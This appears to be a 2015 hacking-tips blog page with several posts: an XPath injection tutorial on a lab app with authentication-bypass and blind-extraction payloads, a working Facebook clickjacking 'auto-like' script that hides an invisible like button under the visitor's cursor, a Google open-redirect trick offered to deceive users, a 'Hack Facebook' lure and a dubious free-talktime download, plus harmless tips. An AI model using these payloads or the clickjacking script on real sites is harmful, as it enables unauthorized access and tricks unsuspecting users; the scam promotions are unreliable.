News Update :
  • Latest News

    Text Widget

    About Us

    Blogger Tips and TricksLatest Tips And TricksBlogger Tricks

    Find Us On Facebook

    Recent Comments

    Photography

    Business

    Sports

    XPATH INJECTION TUTORIAL

    Penulis : Unknown on Friday, 3 April 2015 | 09:37

    Friday, 3 April 2015

    XPath is a language that has been designed and developed to operate on data that is described with XML. The XPath injection allows an attacker to inject XPath elements in a query that uses this language. Some of the possible goals are to bypass authentication or access information in an unauthorized manner.

    We are gonna learn using simple example. Download code from here & put it in your local server directory.(Code is created by Amol Naik )

    Sample XML Document which we gonna use:-

    <Employees>
    <!-- Employees Database -->
      <Employee ID="1">
        <FirstName>Johnny</FirstName>
        <LastName>Bravo</LastName>
        <UserName>jbravo</UserName>
        <Password>test123</Password>
        <Type>Admin</Type>
      </Employee>
      <Employee ID="2">
        <FirstName>Mark</FirstName>
        <LastName>Brown</LastName>
        <UserName>mbrown</UserName>
        <Password>demopass</Password>
        <Type>User</Type>
      </Employee>
      <Employee ID="3">
        <FirstName>William</FirstName>
        <LastName>Gates</LastName>
        <UserName>wgates</UserName>
        <Password>MSRocks!</Password>
        <Type>User</Type>
      </Employee>
      <Employee ID="4">
        <FirstName>Chris</FirstName>
        <LastName>Dawes</LastName>
        <UserName>cdawes</UserName>
        <Password>letmein</Password>
        <Type>User</Type>
      </Employee>
    </Employees>

    Bypass Authentication:-


    Browse to the login.php page; here we can see simple login form.

    Bypass Authentication

    If the application does not properly filter such input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:

    Username: ' or '1' = '1
    Password:  ' or '1' = '1

    Bypass Authentication using XPATH injection
    Looks quite familiar, doesn't it? Using these parameters, the query becomes:

    string(//Employee[uname/text()='' or '1' = '1' and passwd/text()='' or '1' = '1']/account/text())

    As in a common SQL Injection attack, we have created a query that is always evaluated as true, which means that the application will authenticate the user even if a username or a password have not been provided.


    Blind Xpath Injection:-


    If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a Blind XPath Injection attack whose goal is to reconstruct the whole data structure.

    Browse to the search.php page. Enter any number, When you provide number it will display FirstName related to their ID.

    Blind XPATH Injection
    Enter ' or '1' = '1 in search , & you will get all FirstName regardless of any ID(Number).

    Blind XPATH Injection
    In blind Xpath injection we have to provide special crafted query to application, if query is true we will get result otherwise we will not get any result.Till now We don`t know about any parent or child node of XML document.

    Guessing Of Parent Node:-


    Supply following query to application & observe result.

    ' or substring(name(parent::*[position()=1]),1,1)='a

    Nothing append , we don`t get FirstName of users.It means first letter of parent node is not "a". Now supply following query

    ' or substring(name(parent::*[position()=1]),1,1)='E

    Blind XPATH Injection
    You get result , It means first letter of parent node is "E"

    To guess second letter of parent node supply following query

    ' or substring(name(parent::*[position()=1]),2,1)='m

    Following the same procedure, we can extract the full name of the parent node, which was found to be 'Employee'.

    We can also get child node. Browse to the xpath.php page & enter following query.

    //Employee[position()=3]/child::node()[position()=4]/text()

    get-child-node
    You got output from parent node Employee id 3 & child node whose position is 2.

    To get whole document put following query.

    //Employee

    Blind Xpath injection
    It`s just concept how to retrieve data from XML document using XPATH injection.XPath contains two useful functions that can help you automate the preceding attack and quickly iterate through all nodes and data in the XML document:

    • count() returns the number of child nodes of a given element, which can be used to determine the range of position() values to iterate over.
    •  string-length() returns the length of a supplied string, which can be used to determine the range of substring() values to iterate over.
    I used recon-ng xpath bruteforcer for xpath injection attack & we will get back end XML file.

    xapth-bruteforcer

    Useful Links & Blind XPATH injection Tools:-

    https://www.owasp.org/index.php/XPATH_Injection

    https://www.owasp.org/index.php/Blind_XPath_Injection

    XPATH BLIND EXPLORER:-  http://code.google.com/p/xpath-blind-explorer/downloads/list

    XCAT:-  https://github.com/orf/xcat
    comments | | Read More...

    Folder Lock Without Software

    Folder Lock With Password Without Any Software

    Folder Lock Without Software – Paste the code given below in notepad file and ‘Save’ it as batch file (with extension ‘.bat’). Any name will do.
    Then you see a batch file. Double click on this batch file to create a folder lock program.
    New folder named ‘Locker’ would be formed at the same location.
    Now bring all the files you want to hide in the ‘Locker’ folder. Double click on the batch file to lockthe folder namely ‘Locker’.
    If you want to unlock your files,double click the batch file again and you would be prompted for password.
    Enter the password and enjoy access to the folder.
    if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
    if NOT EXIST Locker goto MDLOCKER
    :CONFIRM
    echo Are you sure u want to Lock the folder(Y/N)
    set/p “cho=>”
    if %cho%==Y goto LOCK
    if %cho%==y goto LOCK
    if %cho%==n goto END
    if %cho%==N goto END
    echo Invalid choice.
    goto CONFIRM
    :LOCK
    ren Locker “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
    attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
    echo Folder locked
    goto End
    :UNLOCK
    echo Enter password to Unlock folder
    set/p “pass=>”
    if NOT %pass%==type your password here goto FAIL
    attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
    ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Locker
    echo Folder Unlocked successfully
    goto End
    :FAIL
    echo Invalid password
    goto end
    :MDLOCKER
    md Locker
    echo Locker created successfully
    goto End
    :End
    comments | | Read More...

    Get Free Talk Time 500 five Times

    Hello  Reader Get Free Talktime Daily Its Realty click On Download Link through your Android Mobile nd Get Free TalkTime Daily This Is Our Guarantee Download Now Nd Get Free Talk 300 rs Five Times.... Amd Also Win Awesome Prizes

    Download Through Android Mobile Only
    http://www.fbfunda.com/

    Hurry Friends......100% Working with my guarantee....  - See more at: 
    comments | | Read More...

    How To Open Banned Websites WIth Proxy Sites ?


    Open Banned Websites WIth Proxy Sites

    There are many sites which are blocked by government because of breaking laws of their country. The user downloads many softwares to open these sites but end up being infected by  malware, virus. Today i will share a trick with you guys which can help you easily open these banned sites without downloading anything. As you know that there are many online proxies but everyone need a proxy server which is faster and trusted. Here in this post I am revealing an online proxy and a tutorial to open banned sites with the help of these online proxies which is trusted and fast. Just follow my step to open banned sites.

    Full Version


    How To Open Banned Site ?

    1. Open www.incloak.com in your browser.
    You can also use any proxy site from list below
    2. After that enter the URL of the site which you want to open like below.
    Open Banned Websites WIth Proxy Sites
    3. Now click the Hide Me button and enjoy.

    comments | | Read More...

    How to Remove a Virus Using Command Prompt

    Virus is a computer program that can copy itself and infect your computer. These viruses can spread via USB/flash drive or from one computer to other computer by few written codes. There are many antivirus software available to remove viruses from computer. But there are some viruses or suspicious files which can’t be removed by any antivirus software. Some suspicious files such as autorun.inf initiate all the viruses in pc. These files must be removed for safe operation of your pc, because they may lead to data loss, software damages etc. Such viruses and files can be removed by using cmd. In this article we will discuss how to remove a virus using command prompt. Following steps can be used to remove a virus using command prompt from your computer.



    • Go to start menu and type “cmd” in the search box or Start>all programs>accessories>command prompt.
    • Open the infected drive such as write , g: to go to G drive.
    • Now type dir/w/a . It will show all the files of the drive including hidden files.
    • Locate AUTORUN.INF or any Virus and other suspicious files in the directory.
    there was no virus in my drive so only autorun.inf is been highlighted.
    • Type command attrib  -r –a –s –h to remove attributes of corresponding file.
    Type del autorun.inf to delete autorun.inf file.

    • Now type del virus name.exe t delete it, eg : del newfolder.exe .
    (You can also delete viruses by using following steps:
    • When you find an Autorun.inf file or any other unusual .exe file just rename it.



    Syntax for rename is (rename filename.extension new name ,  for example: (rename autorun.inf virus) to rename autorun.inf file. Here I have renamed it by “virus”.
    • Now you can access the defected drive without affecting the virus.
    • To delete the renamed file go to the defected drive and select the file you renamed.




    Now delete the harmful renamed files.)
    You have deleted that virus successfully but sometimes virus resides in the Recycler folder.To locate this folder:
    • Type cd recycler command.
    • Again type dir/w/a  to locate all file of the folder.
    • Identify malicious files and delete them using above commands.
    Follow the above steps carefully and i think this information is enough to remove a virus using command prompt easily.
    Important: Make sure that no other processes being running while performing these actions. Best of luck.
    - See more at: http://www.besthacking.in/2014/03/how-to-remove-virus-using-command-prompt.html#sthash.9HbeeGFE.dpuf
    comments | | Read More...

    How To Get You Page Famous On Facebook Fast: Auto-Like Script -


     How To Get You Page Famous On Facebook Fast: Auto-Like Script:-







    If you have a website or planning to create one, this simple tutorial will teach you how to get likes for your page really fast in a few easy steps.
    1) Open notepad
    2) Copy-paste the following code:
    This goes to HEAD:

    <script src=”http://code.jquery.com/jquery-1.4.2.min.js” type=”text/javascript”></script>
    <script type=”text/javascript”>
    var interval;
            $(function()
    {
        interval=setInterval(“updateActiveElement();”, 50);
    });
    function updateActiveElement()
    {
        if ( $(document.activeElement).attr(‘id’)==”fbframe” )
        {
            clearInterval(interval);
            iflag=1;
        }    
    }
            
    </script>

    ts1 (600 x 311)
    The location of this doesn’t really matter:

    <div style=”overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;” id=”icontainer”>
             <iframe src=”http://www.facebook.com/plugins/like.php?href=YOUR_URL&amp;layout=standard&amp;show_faces=false&amp;width=450&amp;action=like&amp;font=tahoma&amp;colorscheme=light&amp;height=80” scrolling=”no” frameborder=”0″ style=”border:none; overflow:hidden; width:50px; height:23px;” allowTransparency=”true” id=”fbframe” name=”fbframe”></iframe>
            
          <!–end facebook like frame code–>
        </div>
        
        
          <script>
        var iflag = 0;
        var icontainer = document.getElementById(‘icontainer’);    
        var standardbody=(document.compatMode==”CSS1Compat”)? document.documentElement : document.body //create reference to common “body” across doctypes
        
        
        
        function mouseFollower(e){
            /*                    DO NOT EDIT THIS                         */
        if (window.event)
        { // for IE
            icontainer.style.top = (window.event.y-5)+standardbody.scrollTop+’px’;
            icontainer.style.left = (window.event.x-5)+standardbody.scrollLeft+’px’;
        }
        else
        {
            icontainer.style.top = (e.pageY-5)+’px’;
            icontainer.style.left = (e.pageX-5)+’px’;
        }
        }
        document.onmousemove = function(e) {
            if (iflag == 0) {mouseFollower(e);}
        }
        </script>

    3) Save it as “name.html” (the name doesn’t really matter, it can be anything you want)

    ts2 (600 x 432)


    It should look like this:

    ts3


    4)Register to 000webhost.com, this is where you should create your website.

    ts4 (600 x 289)
    - See more at: http://www.besthacking.in/2014/02/how-to-get-you-page-famous-on-facebook.html#sthash.zlflrap9.dpuf
    comments (1) | | Read More...

    Hack Facebook Online 100% Working



    Hack Facebook Online>> Click Here

    http://www.besthacking.in/search/label/Facebook%20Hacking%20Tricks
    comments | | Read More...

    How to Track Lost Android Phone and Tablet

    How to Track Lost Android Phone and Tablet

     

    Your Android gadgets are the most important things in your life. It contains all your important contacts and information. If you lose your equipment, you will be losing all those sweet memories with the photos and video. But there is some good news to android phone/tablet users, you can now easily find or at least know where your missing phone is with or without using android application.
    Let’s first look at the way of finding your lost phone which doesn’t contain any app installed on it.

    Use the IMEI Number

    Every android phone carries a unique IMEI number (International Mobile Equipment Identity Number). It will be printed at the back of your device. If you are unable to find the number, you have to launch your phone app and dial the number *#06#. This will give you the IMEI number of your phone. Store this number in a safe place so that it helps you in locating your phone when it is lost.
    When you file a complaint, this number has to be added in the report. Your service provider uses this number to track your phone and tell you where it is. No matter if the person using the phone is using a different SIM card or has switched off the phone. Once the device is traced, you can request your service provider to block it from using.
    This is one of the easy ways of locating your lost Android phone or tablet.

    Plan B

    Another way of tracking your lost Android gdget in no time is through Plan B app. This app does not require you to install any recovery software previously but still helps in finding your lost phone. All you need to do is log on to your Google play account. Lookout mobile security offers free software called Plan B. Download the software from play store to your phone. This will be possible only if your phone is within the Internet coverage area. Wait for some time and then send the keyword “locate” without the quotes through SMS to your phone. And a map showing where your equipment is will be sent to your Gmail account. This app is very much useful in situations where you don’t have IMEI number.
    If you have installed and configured any of these below android software previously, there is good chance of finding it.
    You can log on to Google Play store > My Android Apps, on your computer and check if you have installed any of the following apps previously.

    Lookout Security and Antivirus

    Lookout is the best android app for security and antivirus. So far, it has received millions of downloads. Just recall if you have installed this on your phone.
    If you have activated the option “Missing Device” in this app, it is easy to find your device. If you have also enabled “Signal Flare” option, you can trace the last known location of your android device. This is helpful in case your phone battery is dead or tablet is switched off.
    Now sign in Lookout to locate your device. The map shows the location of your phone. If you are at a short distance from the tablet, you can choose Scream option to make a loud noise to find it.

    Android Device Manager

    Google has recently released a new locator feature for Android gadgets called Android Device manager, which helps its users locate their lost or stolen phones and tablets. It functions in the same way as Lookout and Samsung’s “Find My Mobile”. Here’s how to use Android Device Manager.
    Go to the Google Settings app, then select Android device manager. By default the locator feature is activated but to activate remove data wipe, select the box next to “Allow remote factory reset”, then select “activate”.
    To use this feature, open the site https://www.google.com/android/devicemanager and sign in to your Google account. You may be prompted for permission to allow Android Device Manager to use location data. Select the Accept tab to continue.
    Now you will be provided with a map that shows the location of your device along with other details such as the name of the place, when it was last used and more. The location data doesn’t help you if your phone is misplaced somewhere in your home. Instead of making a call to your phone using other’s phone, you can call your phone directly from Android Device Manager. This will make your device to ring with high volume for 5 minutes, even if it’s in silent or vibrate mode.
    One feature that is missing in Android Device Manager is remote locking, which can be useful in preventing a stranger from accessing your data, while you’re tracking its location.
    Apart from these, there are other apps such as Android Lost, Where do My Droid and GadgetTrak that help you in finding your lost Android phone/Tablet.
    - See more at: http://www.besthacking.in/2014/03/how-to-track-lost-android-phone-and.html#sthash.uobvvUOy.dpuf
    comments | | Read More...

    Redirect To Any Website Using Google Url

    Redirect Any Website Using Google Url
    Today i will show you to make google link that redirects you to any webpage you wish. This url will start with www.google.com and followed with some characters andsymbols. You can trick users to visit your site by changing your webpage url that look like google. As no one will doubt google. So lets get in to.

    Full Version


    Working Demo

    Visiting the below link you will be redirected to www.coolhackingtrick.com
    https://google.com/url?q=%68%74%74%70%3a%2f%2f%63%6f%6f%6c%68%
    61%63%6b%69%6e%67%74%72%69%63%6b%2e%63%6f
    %6d&ei=AyQZU6rUAYLChAfagIHgCQ&sa=X&oi=
    unauthorizedredirect&ct=targetlink&ust=1394158347029455&
    usg=AFQjCNF6M9TeMcIyrfeoCrYSHXyGWuO85w

    How To Redirect Any Site From Google ?

    1. Go to Google Redirect Exploit
    2. Enter Your Url in the input box as shown below
    Redirect Any Website Using Google Url
    3. After entering the url click on submit and Google's url will be generated in the textarea as show below.
    Redirect Any Website Using Google Url

    4. Now you can use that url and upon visiting that url you will be redirected to your site.
    comments | | Read More...

    Change Your Ip In Less Then 1 Minute

       
                         In my previous post i had show you how to Grab someone ip address now i will show you how to change ip address in less then a minute. For now it will take 2 to 3 minutes but with some practice you can do this within a minute.


    • Click on "Start" in the bottom left corner of the screen.
    • Click on "RUN"
    • Type in "command" and click OK

          You should be now at MSDOS prompt Screen

    • Type "ipconfig /release" just like that, and press "enter"
    • Type "exit" and leave the prompt
    • Right-click on "Network Places" or "My Network Places" on your desktop.
    • Click on "properties"

         Now you should  be on a screen with something titled "Local Area Connection", or something  similar to that, and, if you have a network hooked up, all of your other networks.

    •  Right click on "Local Area Connection" and click "properties"
    • Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
    • Click on "Use the following IP address" under the "General" tab
    • Create an IP address (It doesn't matter what it is)
    • Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
    • Press the "Ok" button here
    • Hit the "Ok" button again

         Now you should be back to the "Local Area Connection" screen.

    • Right-click back on "Local Area Connection" and go to properties again.
    • Go back to the "TCP/IP" settings
    • This time, select "Obtain an IP address automatically"
    • Click on "Ok"
    • Hit "Ok" again.
    • Now you have a New IP address.
    comments | | Read More...

    Change Your Ip In Less Then 1 Minute

       
                         In my previous post i had show you how to Grab someone ip address now i will show you how to change ip address in less then a minute. For now it will take 2 to 3 minutes but with some practice you can do this within a minute.


    • Click on "Start" in the bottom left corner of the screen.
    • Click on "RUN"
    • Type in "command" and click OK

          You should be now at MSDOS prompt Screen

    • Type "ipconfig /release" just like that, and press "enter"
    • Type "exit" and leave the prompt
    • Right-click on "Network Places" or "My Network Places" on your desktop.
    • Click on "properties"

         Now you should  be on a screen with something titled "Local Area Connection", or something  similar to that, and, if you have a network hooked up, all of your other networks.

    •  Right click on "Local Area Connection" and click "properties"
    • Double-click on the "Internet Protocol (TCP/IP)" from the list under the "General" tab
    • Click on "Use the following IP address" under the "General" tab
    • Create an IP address (It doesn't matter what it is)
    • Press "Tab" and it should automatically fill in the "Subnet Mask" section with default numbers.
    • Press the "Ok" button here
    • Hit the "Ok" button again

         Now you should be back to the "Local Area Connection" screen.

    • Right-click back on "Local Area Connection" and go to properties again.
    • Go back to the "TCP/IP" settings
    • This time, select "Obtain an IP address automatically"
    • Click on "Ok"
    • Hit "Ok" again.
    • Now you have a New IP address.
    comments | | Read More...

    Video

    Pages

    Popular Posts

    Advertise Here

    Sidebar One

    Labels

    Social Share

    Contact

    Name

    Email *

    Message *

    Technology

    Blogger news

    Categories

    About

    Blogroll

    Recent comments

     
    Company Info | Contact Us | Privacy policy | Term of use | Widget | Advertise with Us | Site map
    Copyright © 2011. Meet vanzara ! . All Rights Reserved.
    Design Template by panjz-online | Support by creating website | Powered by Blogger